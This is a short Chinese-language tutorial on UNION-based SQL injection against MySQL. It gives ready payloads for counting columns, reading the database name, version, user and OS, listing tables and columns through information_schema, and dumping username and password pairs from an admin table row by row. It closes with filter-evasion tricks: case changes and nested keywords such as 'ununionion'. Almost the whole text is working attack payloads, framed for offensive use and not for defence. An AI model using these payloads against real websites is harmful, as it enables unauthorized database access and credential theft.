
mysql的聯合查詢原理就是對mysql自帶的系統表進行查詢,因為系統表包含了所有數據庫的屬性。沒有access表猜不出表名列名暴力破解的尷尬。
上圖是我針對mysql的聯合查詢,畫的系統表(系統數據庫)的結構
以查詢test數據庫為例:
1.判斷列數
union select 1,2,3,.......... 直到頁面返回正常為止
2.判斷當前數據庫
union select database(),2,3,4,5 1的位置將會返回數據庫的名字
數據庫名 database()
數據庫版本 version()
數據庫用戶 user()
操作系統 @@version_compile_os
3.查詢表名
union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='test'
//group_concat()使多行數據在一列顯示
4.查詢列名
union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name='admin'
5.查數據 (0x20是空格的意思)
方法一:
union select group_concat(username,0x20,password),2,3,4,5 from test.admin //將所有數據在一行顯示
方法二
union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因為網頁限制只能顯示一行數據,所以顯示第一行數據
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in ('root') //把第一行的用戶排除掉,第二行自動上來
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in ('admin','root') //看第三行數據
簡單繞過waf思路:
大小寫繞過
ununionion 因為會過濾關鍵詞union,所以這樣寫過濾后,前面un和后面的ion又拼成了一個新的union
